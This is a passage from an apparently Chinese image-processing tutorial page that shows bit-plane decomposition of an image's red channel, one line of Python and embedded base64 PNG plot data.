K4VoRshwa47&#43;zLdiE/Jq5GTU0N/38jkQh3bd64cQM1NTX48MMP8ZOf/ATXr19nZ0YOFGQHn6JkOizJuZdLHHL2qrCwkKNlt9uNc&#43;fOobe3l7OrNFOSnCkq79D66G9mXwNdFx1eFLnX19dzUCWE4JJOR0cHO15UyqYOuKKiIjidTpjNZgwNDbE95efnc1dsJBJBdXU14vE4HA4H5ufnmcM4OzsLq9XKmUjipVL5Z3BwED09Pbh&#43;/TpzSaLRKI4fP47r169zdvnnP/95zoONtrY27Y033kBhYSGcTif6&#43;/s5y2Y0GrG4uIjm5mZcvXoVra2tTDmgoC8vL48DLfk&#43;R59l0VXSU0ql0vpSNN5nbGyMJXuWl5fZ8ckmTVMmU3a0CgrSEyIo&#43;KT7Ne3pAwcOoLW1FRaLhTs&#43;SX4hlUrhRz/6ETtVly5d4uyNbH/EJ5OD9exAm7JdREyX&#43;YMkuWCz2VBWVoabN28iFAoBAAtmT0xMYGJiAouLixgaGuIqjxyAkygt8EktuZKSEiQSCTQ0NODgwYOsMUZixqWlpXC5XBwoWq1WbkAirTGTyYSWlhb4/X7mPmuaxtQPmVvlcDi4saSzsxO9vb3o7u7mBhJqHCksLERZWRl6e3vx5JNPYnBwkMV7Nzc30dnZiampKcRiMbS3t&#43;PMmTNYWlrauY6VwWDQTp48iZMnT/KA2JmZGezfvx99fX349re/jddffx2pVApPP/00AoEA9u3bh7GxsU943gUFBTx0lLIhBoMBa2trSCQSqKurg9FoxNjYGJqamrglORaLYWBgAKOjo5ienubNLGeuZGzHLZFft13ZjCATcMm4yNBJVO3w4cPo7u6G0&#43;lEOBzGzMwM1tbW&#43;Po0LU28jsfjPH6BZis1Nzfz6JdQKIT&#43;/n4MDQ1tGbJLJQjZKOS0sbwOeb3ZnC56f8iZo27O1dVVziTRxm9qakI4HOYuHtIfozbYffv2cdnP5/NxlLO6uoqGhgbMzs6ydhlFWHV1dSwtQOU9Uuj1&#43;Xw8rubWrVvo6elh1V5qk87Ly8PCwgJH&#43;IlEgjgaOT1Eamtrte9&#43;97vo6urChQsXuFzQ3t6O3t5efOc738Gbb76JsrIyft/sdju8Xi/r6dDhHY/HMTg4CLPZzB2a9DwAjkjv3LnDrc6bm5tYX1/Hxx9/jPn5ebz77rsIhUKIxWJbOmPlrj5ga/cdBQJyiXs7GyH7JUIsHR50GFJ29ejRo&#43;jp6cGhQ4dQUFDAOk3Dw8PM36PBxEQQJ1Lu3r172dkfGxvDhx9&#43;iOHhYT50ATCPkCgBADj7mp0Jk4OM7cr0mqZxpqq0tJSzEZRpoMxJZ2cnIpEIN&#43;eQAn44HMbq6ioOHTrE7yENh6drtFgs3MlEHW7r6&#43;uw2WzIz8/H/Pw86uvreZSRyWRCIBDgfX/t2jWcPn0a/f39XKqkdvbR0VHOsK&#43;vr&#43;ODDz7A&#43;vp6Tm3C4XBov/rVr2A2mzE2NsZzAq1WK8bHx3HmzBmcO3cOra2tMBqNiMViXCEoLi5GJBJhjk88HufqRXFxMY//oXsy2QjxN6kjLxwOY2pqCn6/H&#43;&#43;88w7m5uYwMzPDNiPf76gESPdHKsED2OKEyPuIMvMOhwNOp5PPMRLQBu5rCW5sbMDhcKCxsRENDQ2cGdrc3GTJAOKOUVZO0zSUlpayGCjt//n5efh8Ps72E1cvEAjg7t27mJqaYq2tqampLTp0sl1nlyPlrJqmaTAajdA0DW63Gy6XC729vfxayh4dP36cg1xyRKkjenJyEqR5SSVwuqfdvXsXRqMRyWSSs8skI9LQ0MA/39TUxImAkpIS1vorKirCX/7yFzzzzDMYHBzkQIfOkPn5eS6zT09P48c//jHm5uZ2rmNVWVmpvfjiiwiFQohGo/jggw9w8uRJLCws4PTp03j99dfR1NSEhoYG1suIxWIwGAwc/VVXV/PhodPpMDg4yDOP6MAlBeVUKoXi4mJEo1F0d3djeXkZly9fhsViwdWrVxEMBnHlyhUma2dHpQQ5Ush&#43;H7NvtvLvyM5CkdHS4SITImWtj7y8dIs93XxJp4gOO9ro9FrKGFHkFI/H&#43;XfLnCtyqB7EmXlQuVPObNH1m0wmhMNhnpeWTCZhMBhgsVhYXb2xsREzMzMA0uRSunk88cQTHFkQ/4F0V2ZnZ6HT6RAMBlFRUYHV1VWkUulxB0Q8pA7BpaUljsJo9MvKygoT5mdmZljf6vbt2zzWpqWlBTdv3iQOU04Pkfr6eu2ll15ip//999/HqVOnMDc3h6997Wt45ZVX0NXVxZozpI1DvDPiCE1MTPCYIFINNplMHLWSYw2AJxbYbDZEIhFcvXoVNTU1GBgYwMbGBn7xi1&#43;w9hjtH2Crc5XdzZqNbEed7If2EUXRFDCRLg5lfknEVpYCIUV0nU7HvCUqz8hjNcgmhEjPhYzH44hEIizKKQ9ipp/JXgs1eNDX2WVHcippjXq9HhaLhTMP9JzBYIDD4eB278bGRoyPj0OIdDcnqap/4xvfgMfjwcLCAiKRCFZWVlBWVgadTsf7PBAIwGKxYHFxERsbGzh06BCWlpag1&#43;sRjUa57E7EbQpkSImdRHF1Oh0OHDiACxcuYO/evfB6vXjyySfx1ltvYXR0NOeOlcvl0n73u99B09KdjERaDwQC6OnpwZ/&#43;9CccOHCAy/6lpaVcgib71&#43;v1mJ2dhdFo5A62jY0N7i6kjC6QdqorKipYaT2RSGBychImkwnT09O4d&#43;8eXn75ZYTDYXZ6if9D92EAvK/kfU77X5ZIoCoGOTvUgNLc3Ayr1cpZNMrYEP2FbFEmnQshUFxcjLy8PFYtJ8dO1iQjJ5O&#43;T2tZWFjgjupwOIw7d&#43;7w&#43;0XnFSmV05rpfk2Bl0xroUwYkJbXcblcCAaDzPM0GAxoaWlBS0sLCgsLYbfbYTab0dfXx&#43;dUKBRCY2MjTpw4wTSCvLw8tgl63/Pz06rqzc3N8Hg8WFpawle/&#43;lUkEgmsr69z9tjr9bI2GQCsra1hdnYWlZWVMBgMmJycRElJCQ4ePIj33nsPx44dw/j4OHp6evDrX/8aP/vZz3a2Y1VTU6O98MILyM/Px&#43;zsLG/Q&#43;vp6PghMJhMLfi4sLMBkMuH27dswGo08UVsIwbOHhoaG0NHRwSNNKJ25Z88eXLp0iTk6Z86cQVtbG2eCZIL5uXPn&#43;AadzSeRv87me2Rnq7aLeOnnZNIs/R56rexc0Q2dUtfkcZNWB0UJZJzZXC05VSv/3ewSI12fXN6U10cRinzA0N8lY/f5fGxIpaWl0DQNVVVVWF9fRyKRQDweZzHYYDAIl8uFr3/963j11Vdx9OhR9Pf3IxqNcoRGgrAbGxtcGia&#43;TigUgtPpxOTkJIxGIxtpfX095ubm&#43;ABNpe4PbCYCJomR&#43;nw&#43;buVPJpMkTppz5fUf/vCHSKXSAp9UNq2vr2euQllZGfNoKLIeHx9HdXU1d/0QLy2VSmFiYoLnbun1em5BLioqwoULF5i3&#43;Oyzz6Kuro6zIX19fZxZfeWVV7gEtbm5uSVapX0jO/TyPvtrHYDZnX3k&#43;MkzCGVOCb2GHC0iGgP3pTfoOijzRIGFzH2RtX/kCDy7lAl80tblddE1URNBXl4eOy7T09NcfjObzXw4yppXJpMJQFr1u62tDc8//zx&#43;&#43;tOf4tSpUxgZGWF&#43;IcmIAGBbIuFMogQ0NTVhdHSU9ZnKy8s5Y0xcmFQqLT2STCZ5jMnQ0BB3AlZUVDAPrK&#43;vL&#43;fkdZfLpf32t79lmQtN07hRiL6mocH5&#43;fk8Jsjv96OsrIz3I5V5NS090NpisTAtIxKJ8H4aHR3lZheXy8XyLslkEgMDA3yvfuONN7C4uEjdxCy5IAtIEr0EuD/Zg5x&#43;4JNjnID7XEDa2wA4KK6urobVamVxUmo2IueK6Cfk7BB3kuwTAILBIAcVZM9&#43;vx9zc3NbRFDlPU8cP7I1mSJCZxP9fuI5U&#43;dfKpWC2WyG3W5HdXU1bt26xdSd5uZmOJ1O1m&#43;jZhoaOXTjxg04HA488cQTOHv2LPbt24f19XWW4yGBUXrvaYQd&#43;RINDQ0QIt0ZaLfb4fF4WJE9Pz&#43;fp714vV5WxDcajTh27BjOnz&#43;Pzs5OfPTRRzxEury8HD/4wQ8eqGOV&#43;8maAPNjKOomPgANxqSp2bTZKysrsbKyArvdDiEER/WBQAC1tbVIJBKw2&#43;2oq6vjkSmtra2YnZ1FQUEBuru7WaejpqYGfX19cLvdPObB4/HgypUrnOmiMlk232i7dWRH5GRE8muyDxv5NfScXGqQM1F0SNCGob&#43;ZTVaUyzX09&#43;izfCg9KMOwXRlTfo4OH3KwKEsQj8f5BgekDaSxsZGjikgkgvr6eqysrMDv9/MA7YsXLyIajeLSpUt8iFOJD0hntsxmM6ux06FO/6Oqqir4fD4u9dIAT3LeiouLmW9RXl4Oj8cDg8HASr&#43;hUIid6GyRvVxACMEq2/n5&#43;dz&#43;TWrC5Bzk56cnEJjNZqysrMDpdHJkmZeXh7m5OdTV1XGDAEkfCCHQ1NTEkXZ3dzfLhZSXl&#43;PGjRuw2&#43;3Ys2cPnn32WVy/fh39/f2w2&#43;0YGRnhqJ5KysRrknkV2ZkeGdnlcyr7UkCQzdmgLBl9Tya0yzwS2QHKLldnl&#43;/k/Uy/V37/s20g21GUf1a&#43;BrIJKh2R7dEUAZlvRZyfxsZGLC8vY35&#43;HlarFcvLy3j33XexZ88eDA0NIS8vD36/H01NTRwIrK6uwmKxMIcRSNMB6PBrbm7G2NgYGhoaUFdXB4/Hw2v3&#43;XywWq3s/DU3N&#43;PixYuw2WyYmZnByZMncf36dW4qyL6/5AJCCO7oI94tdbuSc0T/ZyI6k04dOQ86nY5LRhsbGzAYDFwOSiaTMBqNPEuOHBdy1mmIbzwex5EjRzA&#43;Po7bt2&#43;jq6sLAwMDzOsMhULsVJEjJusQUulJpprQPS87uJAdf9pbQggudZFNCCG2yCaUlZVxQEKOGb0/JL5JxHu6l9I&#43;pd8HgDmPxKukTmty&#43;uTKB92T5EoLyTmQVpter0csFsPy8jIHwWVlZWhsbITVamWnBgDcbjeEEKyx5vV68d5778FoNLK24djYGHp6ejiYp5mw5JAmEgnU1NTA4/HA7Xbz5AqLxcJ0kWg0isLCQly9ehVutxuTk5Ooq6tDd3c33nrrLRw7dgzXrl3DM888g97eXqytrWF1dZUpBNthRwiEUnvj1NQUzGYzpzubmppQVlaGvr4&#43;AMCbb76JlpYWriVTep00WRobG1FZWQmTyQS3280pSoPBAL/fz9G52&#43;2GXq&#43;HzWbDyMgIJiYmMDU1hZKSErS3t8PlcqG4uBg2mw0Wi4U7&#43;8gwiB8B3E/9y9wS2VmRM4LZRF45Ks6OkAFs2bAytis9ygeHfC3y38128LbLUmVn4bKzbNkHCkUj&#43;flpxfRkMrllqK3dbsfi4iKKi4sRDAZhs9k4JXvmzBn4/X4IITA&#43;Ps43BRLwJD4ViSrK7ytx4EjJemNjg6MJirgAYGVlBWazmR1RnU6HxcVFVFZWIplMwmq1bhmyTRFtrkE8ssnJSdYvKikpQVtbG3Q6HUZHR6HX6/GHP/wBTU1NfHMmfhBFsXQ4GI1GFmglaQsqF&#43;l0OjgcDgBpnoPX68Xw8DB8Ph9nHbu7u1FTUwO73Y729nZUVlZ&#43;QmSTym10Y6X9KBO&#43;af/IN3AKDLYbMQVs3avyAUSHBTld2WOVKEMll8npOrKnKmTvczkLJ9ua7ITJjprcyfjYY49xJtFqtfJBSrMw9&#43;/fj/n5ee5KttvtyM/Ph9frxenTp7GysoKVlRV4vV4YDAZsbm5idnYWjY2NiEajzClpbGzkBh7ScwMAi8WC5eVl&#43;P1&#43;1mqampriIM3r9cLtdmNlZQWpVAp79uzB5cuX0draikAggKeeegoDAwMIh8Pc6JOtgZcLbGxscHDd2dkJIL1frVYrO106nQ7Xrl1jx0mn03Hpk&#43;6JFRUVPDWjpqaG5Sd0Oh13GgshUFVVxYf82toaNxnRHnS73TCbzWhsbMSBAwfQ1taGuro61j4iviAlBchOysrKOLNDezo7c0r3aypTyfsylUrxoGyye7IhKt3NzMxgaGgIw8PDTLanjsP5&#43;Xn4/X7OZMuDmul6gPv8QtpfREine7ucpaKSItk4dalSprm2thYOhwO1tbXo6OjA2NgYWltbudTW0dGB&#43;fl55oM5HA5UVVXh8uXL2L9/PydPiI&#43;4vr6O6elpHDlyBHl5eTwDtbW1FeXl5Rzgzc7OIhwOM3fU4/GgqqqKy8Oaluae9fX1seL&#43;Y489BqfTibfffhtHjx7F1NQUzpw5gytXrrBNUNfhg7AjHCvSnDh06BCSybSKenNzM27evImioiIcOXIEwWAQx48fx9raGnfqkCQAjR&#43;w2&#43;24ePEi61iVl5djcHAQb7/9NqfI6eZNw0q7urq45ZvmDjU1NaG9vR02mw2VlZUoKyuDxWJhsjVw/wYrd&#43;bJXSayg0UOEpFzZUdsu4wRPSdH7NuVF4l0TIcRfZaFDrOj8OxDJDuql7kB8t&#43;VDzlaT1FREY9CIHFNs9kMvV6PL33pS3j&#43;&#43;ed55poQgqOBzc1NLC4u4uLFi4hEIigpKeFWaYoio9Eot5RXVlbC6XTy/554c0IIbhePxWKw2WzcBej3&#43;7G&#43;vg6Hw8FDaKuqqraMwqmuruYWdiKw0k011yANsYMHD/KYi&#43;bmZvT19UGv17M69/Hjx5nM7Pf7OdgIBALY2NhAbW0tent7uW2&#43;qKgIfX19OHv2LHP0yAkzGo2Ix&#43;PsiFZXVyMajeLevXvQ6/Xo7u7G3r170draCqvVisOHDzO3iaJD4nDIjj0RcqlkA2DLHissLGSnVnZisp0k4oEQtssQE9kUuE/yzf69sl3IdpX99XZZLTkyp6wZZScocGtubkZNTQ2Ki4sxMzMDu93OfKkXX3yR920qleIhs5OTk5idncU777yz5WdotpnBYEAsFoPP58Pa2hqqqqrgcrng8XiYwGuxWJg6sbS0xGrrxMHMSCagp6cHi4uLiEaj6OrqQjAYRHt7O3w&#43;H44cOYLz589zGWVxcZEJx7lGYWEhgsEg3G43/H4/gLRjNTAwgMLCQhiNRggh4HK5&#43;D62urrKuoWk3aXX6zEyMsLCw3q9HsPDw/joo4/4ACdnmQK30tJS5r1R9i6ZTMJms3G2pbOzE9/85jdx4MABlq0A7kvvUDMDOfaUYZIDa3o98cG2u1/TfZ4CmGg0yuslB43sCkjvy/r6&#43;i3BCd0/KSCRqyaUhaJ7Mp1nNBaM/g6VT&#43;VAnmZmymdda2srHn/8cVgsFuh0Ovz&#43;97/HU089BSEEvv/97&#43;Ppp59GKBTi94vO5snJSfh8Pvz5z39GMpmEw&#43;GA0WjEvXv3sLi4CLPZjI2NDeZRGY1GOBwOlg4ymUzo6OhAIpGA0&#43;mEx&#43;NBMpnke30oFMLc3ByGh4fxwgsvYGhoCPfu3cNXvvIVDA8P48SJE9w1e&#43;HCBZZyun37NpoyBPgHYUdwrIQQYQDjub6OzwmVAAK5vojPCY/q2ho1TavK5QUom9i1eFTXpmzi88Wjum&#43;AR3dtD7SJ3Od30xjXNO1Ari/i84AQ4qpam8LfAGUTuxCP8tp2AJRN7EI8ymt7EHZEKVBBQUFBQUFB4VGAcqwUFBQUFBQUFB4Sdopj9X9yfQGfI9TaFP4WPMrvrVqbwt&#43;CR/m9VWt7hLAjyOsKCgoKCgoKCo8CdkrGSkFBQUFBQUFh10M5VgoKCgoKCgoKDwk5d6yEEKeEEONCiEkhxL/m&#43;no&#43;C4QQViHE&#43;0KIUSHELSHEP2eeNwkh/iyEmMh8NmaeF0KI/5lZ600hRHduV/DXIYTIF0JcF0L8MfO4WQjxUWZtbwkhHss8X5h5PJn5flMur3s3Q9nEzoayiS8eyiZ2NpRNbEVOHSshRD6AlwH8HQAXgL8XQrhyeU2fEQkA39E0bS&#43;AQwD&#43;S&#43;b6/xXAeU3T7ADOZx4D6XXaMx//GcD/&#43;uIv&#43;TPjnwGMSo//G4CXMmtbBfBPmef/CcCqpmmtAF7KvE7hM0LZhLIJha1QNqFsYtdBHmXyRX8AOAzgXenx9wB8L5fX9P&#43;5nrMATiKtDlyXea4OaWE7APjfAP5eej2/bid&#43;AKhH2uCfAPBHAAJpBd2C7P8fgHcBHM58XZB5ncj1Gnbbh7IJZRPq4xPvubIJZRO76iPXpUALgFnp8VzmuV2HTEpzH4CPANRomrYAAJnP1ZmX7bb1/g8A/wKAhiJVAFjTNC2ReSxfP68t8/1g5vUKnw27bY88EMomlE08JOy2PfJAKJv4j2ETuXastpt2u&#43;v0H4QQJQD&#43;HcB/1TQt9P966TbP7cj1CiGeBnBX07Rr8tPbvFT7FN9T&#43;PR4JN5HZRN/9XsKnx6PxPuobOKvfu&#43;RQa5nBc4BsEqP6wHM5&#43;ha/iYIIXRIG8svNU37XebpRSFEnaZpC0KIOgB3M8/vpvX2AHhGCHEaQBGAMqQjE4MQoiATbcjXT2ubE0IUACgHsPLFX/aux27aI9tC2YSyiYeM3bRHtoWyif9YNpHrjNXHAOyZDoLHADwP4O0cX9OnhhBCAHgFwKimaf9d&#43;tbbAP4x8/U/Il1Tp&#43;f/U6br4xCAIKWCdxo0Tfuepmn1mqY1If1/&#43;Yumaf8A4H0Az2Velr02WvNzmdc/cpHIFwBlE8omFLZC2YSyid2FXJO8AJwGcBvAHQD/luvr&#43;YzXfhTpNOZNAIOZj9NI14zPA5jIfDZlXi&#43;Q7m65A2AIwIFcr&#43;FTrvMEgD9mvm4BcAXAJIDfACjMPF&#43;UeTyZ&#43;X5Lrq97t34om8j9Oj7FOpVNfLHvt7KJHf6hbOL&#43;hxppo6CgoKCgoKDwkJDrUqCCgoKCgoKCwiMD5VgpKCgoKCgoKDwkKMdKQUFBQUFBoasZ5AAAADtJREFUQeEhQTlWCgoKCgoKCgoPCcqxUlBQUFBQUFB4SFCOlYKCgoKCgoLCQ4JyrBQUFBQUFBQUHhL&#43;L0jy8GiZv96WAAAAAElFTkSuQmCC" alt="png"  />
</p>
<p>对 R 分量进行位平面分解的结果</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">bitplane</span><span class="p">(</span><span class="n">R</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAcwAAADVCAYAAADadcBhAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1&#43;/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy8QZhcZAAAgAElEQVR4nO19a6x1XVXemIhR4UNELVGC1dRqEE0gbdRqbaOJkpqoWKV4K2J/mGprbNKY3tSKUYiCP2qN1sYUKKImVYmpWtpgE7E3MRFjGxUrGCiKHzZcPy5iwdkfZ6&#43;P8T7necYYa&#43;259t5nv/NJTvbea8055riPMefa55zWe7eJiYmJiYmJGI84NwMTExMTExN3AbNgTkxMTExMFDAL5sTExMTERAGzYE5MTExMTBQwC&#43;bExMTExEQBs2BOTExMTEwUcPaC2Vr70dbadw6i9ZzW2ktH0JrYjmnT68K05/Vh2nQbdi&#43;YrbXXt9be21p7V2vtba21X2ytfcJyv/f&#43;Tb337zmM/fzW2h8k9F7cWvvTA723ttZe0Vp70t5yJDz91oGf5ef9rbWfPydPe&#43;J&#43;sOmBry9srb26tfbu1tobW2vPPDdPe&#43;B&#43;sCfwtPx8yDl52hP3g00XtNY&#43;urX2f1tr/3XvtU61w/zS3vsDZvbxZvZmM/uhI&#43;k9/0DviWb2x2b24iPpHYXe&#43;6f33h848PQYM/s/ZvbT5&#43;TpBLhqm7bWnmxmP2lm325mjzWzp5rZr5&#43;Tp51x1fY84PlLnB5&#43;PnBuhnbG/WBTM7PvN7PfOcVCJz2S7b3/iZn9jJk9ebl26Fy&#43;t7X2aDN7uZk9wXWAT0jovcduktpnsPuttZ9urT3YWntHa&#43;1XWmufDuv&#43;8KHzeqi19qrW2ie7&#43;086dFFvba397ordxV83s8eb2c8Wx99pXLFNv8PM/nXv/eW99/f33t/Se39dRSd3GVdsz/sW12zT1trnHPh4Ua6J43HSgtlae5SZfZWZ/Sre672/28y&#43;2Mze5DrANyX0HjCzrzOz3xBDXm5mn2I3BezVZvYTcP9rzOy7zexxZvZaM3vuge6jzewVduMUjz&#43;M&#43;xFv&#43;ADPNrOfOchz9bhim/6Vw7z/1Vr7o9baS1trHx3xfg24Ynuamf29QyL&#43;9dbaV0Z8XxOu1abt5kj9h83sW8zsJH/j9VQF8&#43;daa283s3ea2ReZ2QuOpPdtB3qvNbMHzOwb2KDe&#43;wt77w/13t9nZs8xs6e01h7rhrys9/5rvff3241Rn3q4/iVm9vre&#43;4sOu4tX282O8RkRUwfHfIZdzlHFnrh2mz7RzJ5lZl9pN8H/EXb8kdYl49rt&#43;S/tg0n8O83sxa21v3qUhJePa7fpt5rZq3rvJ3tU8sgTrfPlvfdfOnQETzezV7bWntx7f3AjvR/ovX9HNOCw1nPN7G&#43;Z2Z8zsz873PpYM3vH4b1f/z124wRmZp9oZp99cI4FjzSzH0/4&#43;goze6uZvTIT4Apw7TZ9r5m9qPf&#43;vw9rP8/Mfqkmyp3EVdvzkHwX/IfW2k/YTbz&#43;t1yUO4urtenh2Phbzewvr5ThKJz6GeYHeu8vM7MPmNnnsSEDl/tau3GSL7SbL2180uF6K8x9o5m9svf&#43;Ue7ngd77Nyfznm1mL&#43;n30b&#43;AuWKb/k870THPJeGK7YnoxXXuPK7Upp9lN19m&#43;u3W2oNm9oNm9lmHZ6e7ffv51M8wW2vt6XZzds2&#43;1fRmM/sY2L5vxWPM7H1m9hYze5SZPW/F3F8ws09trT2rtfahh5/PbK19mprQWnuimX2Bmf3bY5i&#43;a7him77IzP5Oa&#43;0vHI7a//GBxlXjWu3ZWntGa&#43;2B1tojWmtPM7O/bWb//lgB7gKu1KYvt5ti/NTDzz&#43;3m2eqT93z28&#43;nKpg/31p7l92cpT/XzJ7de/8tHNR7f42Z/ZSZ/X5r7e0t&#43;bZWgpeY2RvM7A/N7LeNPPBW6L0/ZGZPM7OvNrM32c0Rwveb2YcF055lZv/jfvgm5QFXbdPe&#43;wsP673qsOb77OYI6Fpx1fY0s39wWOftdvMs7xt777&#43;8lfE7gqu1ae/9fb33B5cfuznu/X9HHDeX0O6j08OJiYmJiYnNOPufxpuYmJiYmLgLmAVzYmJiYmKigFkwJyYmJiYmCpgFc2JiYmJiooBZMCcmJiYmJgoI/9JPa21&#43;hfbE6L1ba83g28vDfsF62nQbhF1KWOa19kEz9t6H2PRU9lwjN8p7id/EZzapwPvBHvY88LZZYWvttMxRNmNj/PURfEa0jvE7Pz&#43;LXT/Xvd5ibO4wLwxo2GMdc2IctiZ&#43;FcR3DV4G5peYbHvvFy3rmtjyslyaPdX6Sj7kHcd5escWSK8zpLf8ZHPXrI1jVQPgeUD&#43;ouJ6qr8luxu2dFSXjGpHdO24NLses1vCLv2SEe0Mo3vL9VF6isaMiItjCsG57BntntT45T6OjQo&#43;6pitU5Xdr6fshn6l&#43;CU7wHvGVmyqCmLVb8M/XHCpx3cjAuaSExdx9Is47tkT57JpJfBHNDEkIdyJI1mVLJdrqogqXTFdj2wMKzZaW/BYkt3LngfaVIA1vprQD8dWjl6zmGD62kqT&#43;Vlmj4h&#43;RBPG3yJ0p3aYIwNr1Fn8XrhUvkZj7XFSNHfEEU60xrH&#43;d6knBtmxXKUgYrJjz8DU2riOGl8phtViie8zerirOQfW&#43;rXaRZnpXSXqJ9rVVmI3sr/a9aq4ZnwxnhUqzdpV7DBPkWjOWaAKXdFV7jCjgD6WVkRvS/Jb64NZQrnUHSbTTdbJR8dba21aLbS4njpqi&#43;as4Snb3Zxih5kh2zHiLi87il2uLbS37m7ZUW4Ug&#43;rINWrq2P3KWOXvyqYXXzCrO5BRRfUSd3aXEIxrUT0aOfAUXl&#43;77rE0FM1jjmQJLqpgqgSmjmSTo6x0h1Phx89ZWxAjjDqSBV7OHqPop6qRqJwYAD&#43;31mD32P0qHcYH8hk1UZlNo&#43;YgoHuL0EV/S1YphilkVKG7tGOzS&#43;OnCuW0GKR4hIfjt6yLgVk5xqse5Y3ws0tsyszuPX70r95G0U7F6/BYe6JvRDsNNTcC47kyPtp1nxNK98xvWRwuOo7GV2ya7fJY/Ps1qxskRZ/RUEXU&#43;xiuo9a72IK55ojtFGufC5cQjHtiL12vPYGoPPsYxesl&#43;ZdK/JUdAM4bvAO/h7ZP6MccD/p71djKCvAl2dOs9izYv2eFxutb/VTWZ8D1stMD7wPVHSSuxWixdbJG6mKPZPc4nluLSylWd/FI1ix/zrV1B7mWh8rc6vEcG7/Rzy7iSDY7QlPHdmuSVoQtOq&#43;ss9a/1uxgBd2Tx2h1N5YdoTN6VbtkBXlLoxodyVaKKzv9yGJV0LwbR7IjiuUyb2TRO0cneWnd6wgcsxOpHJ/iWn6up8ESBF5nxzs4fq2PnbsRw&#43;NVBNvVsftIM9uR&#43;J2o0ncEtbuMdhDIv5rLkixDtv6eqBafrDllPq78nMUMxg/bsSr9ZzJlfKKs&#43;J41slg4mU9ER9IeF7fDHFUsK7QrqB4B7Ylr3GGOwtZOWO0o0NbM9muPMQVOusNUu4w1esFrjPZWrDkm9buMbNcR7ZL9NeSjwgvQOVmMqkKQFf0tO7NjgLlzLU1l25E2Tebdsul9VTCjdSo4R9E88HmxBbOSLDPnHoUqH1khiIrmiCbgoIOzHclGyVQln6pORiArnuyIDvmqJljVILA11c5lpD0PdKlNk1wtx0VNjjplqcSpsv9a//L3q3S32jRriIHG3SqYexeoSy6ameG24tw2XYusI8zGq7lRMmaJUY1bIxvQ3aVgrt0hI1&#43;VxBWtl2FNQ1xZt3ICwORBrD1JIn6ya4xmu2mlA7XL27ILzdZi9yNfU2urRojxuMWm0S4bxlx2wTzV7jJaM8OZdpn3TcE8JvlmNPZsxjY0BbvtMCs7kShxRoVyTTFVvGQ01yIrJlsQ7UwE/V1iVOk32/H6MdkJT3Z6srZpVbTxenWnWV13rQ9Eu1JVMC/ySz&#43;nRGv1LwadsoCPCPpj1t8Dkf7W2CGb0zv/Isle9qt25Kdqtvw6fm1MjFt3d0tCyXaAfh3/w&#43;hlumE6ribhtVA8osynOAHz6yp&#43;/Hj/igWUFU&#43;Ui63F6Cof86/LnDW7PJRHxXI2F8F8EOOg4of3fcFckCXzU/NxyjVZNzmqcFY7vWMQFc4tfK0N0krxydYcBZbsvE3ZZzOe9I5pOrY0QBm9rTZb2xRnDdep7OkLHsrPipcvCFgE2fEk8wfUU6Q7XNu/IiqnCEoWP7/CV6W5yGypaM&#43;CWcC5dn17r1c5utsydw2d0Ul1y2nB2sLg/SFKsNm6I6ESCvKHyZQlvYjXc8ZAxE8kB9JBYJMQNWBqdzUSleNQVhiX&#43;6w4RTksajTU52iHyHwrmqd0irJUd6mehrIpO4qtxPHVF8w1AV7pfk6VMPYs0iOOlkYkikpR2nK/EtjR&#43;MjOx&#43;661oxfAxX40U4Ex1bX2QNR0q7sHFkC9J&#43;jXdJaXtSufA9UT39UcckaDrVeNYb8sSk73ajEKTuGzeQ41qY&#43;n7NmS/F9UQVzr0SyoJo8o87qlEUT1x5Jc88gV1gTvCN3piqY2bhKEmSdLitGET&#43;jgMlKFRFcm&#43;0616K641Brq0QbrYO8s/vVnZXiPWs&#43;svnHAgszk5fZHHed1XhTPp/tRpnfZzv9CMxXPG0sklHRrNjUN8e4S1e4qIK5N0YVu72LJjtCGEn7HHNPja0FNztqQhrVrhqT3Ciw5BQdY/n7aj4Dkz36vMxhyT9aY82JQFY0KydGuH40jjXOe50ARXbJCvdI32cFUu3KGI3IDqxIrTmtqdicFdWo6GZ8XHTB3MMZRxWhUXSi5LoH1u7M/OtWmTHRnKsRWLuTUWNYB19JcnvL7f0mKgZb&#43;MCkEu0OqwVSobr7xF1DhsgubHcUNT97AnlQMeN3XhFfOAZpsp1qVGjUjl&#43;dIODciM&#43;IvucVr&#43;N4lK&#43;ay1Cnt&#43;4nDnmWLcWxwX2XeWCO2u/472GanUafQnd0bMSD76TZ2LVFQATgECUs9oz0u0UHW7DnCYTaOVQbkejILfMFHIf&#43;sdxOmaijL&#43;uJtcJdUTZW7eqqzYHiqYqIz2oM49jMpspfIplZ3r3oHabZeY4B1yT3vY7Y9kTlWCzr8LcUjUtB9cgq64SrOJUPR8kDd1DHgu2wRyM76quune1Cs10s6q2yWzoW6INs/cUGa48nVX7DHbYqlv51i1xs16lQtW1UZJFn9F1m4zu1wzQ77y7zEna4HqfcYbKjm2OPEytd8l4YdaSmOvMs2QZ8jBK&#43;R8mC7YpG6j3q8vfAMX6Jeol2WNkuZ&#43;9ToMquCnlTxTA6MVE6XLuLXLvjjNbEa9H8ik2zHW1A8&#43;7sMNd0kCOxtVieYyc8Coz3Y49dPFQnuYV2ZXdc4WXNOhh01QKBne2eOxK/Jltjz53QMT4S8aX0NbpYon3UmujHFX8bgWVtFpO4w/SvbCdX9d1j7FqxKTuhYNez3KHkxffoL&#43;hDrBlmuNiCaXa7aO7tnHsF/l1AdEwzkv6x9JRPqKKv5lbXWXPsGB1hsWQwAoouS&#43;oj12YFaEtDwI7GlvcIlvzW7ICQv4zX6HRiq7wVIG126qP4ZEUgGovXls9rfUXFSWZTPw7HMx7ZPWVT7yusWDK&#43;M3tedME0G7MryRAlnPsBbPekjnCOXQOx6H6LXbcUwDVgO0vWeSNtlkj3TLB&#43;Df/K1h8FJvOxO&#43;nIB1RS3CqT2nkwPljTsVcDFIHtMLPGSO3YIqid9lpdZ7tUVbjYOAXWuCk/VA1QlQ&#43;zFc8wRwfcWkTd3ki6x9DcS0d94PMROzzzwuBjRXNkwZTMrAzmKi2E6s6PxZbdzsLSiPXb4XlXpbFkNh4FFkfHFpOoyTrGntUkniVqiKNdnmGinJldI74rRQl1u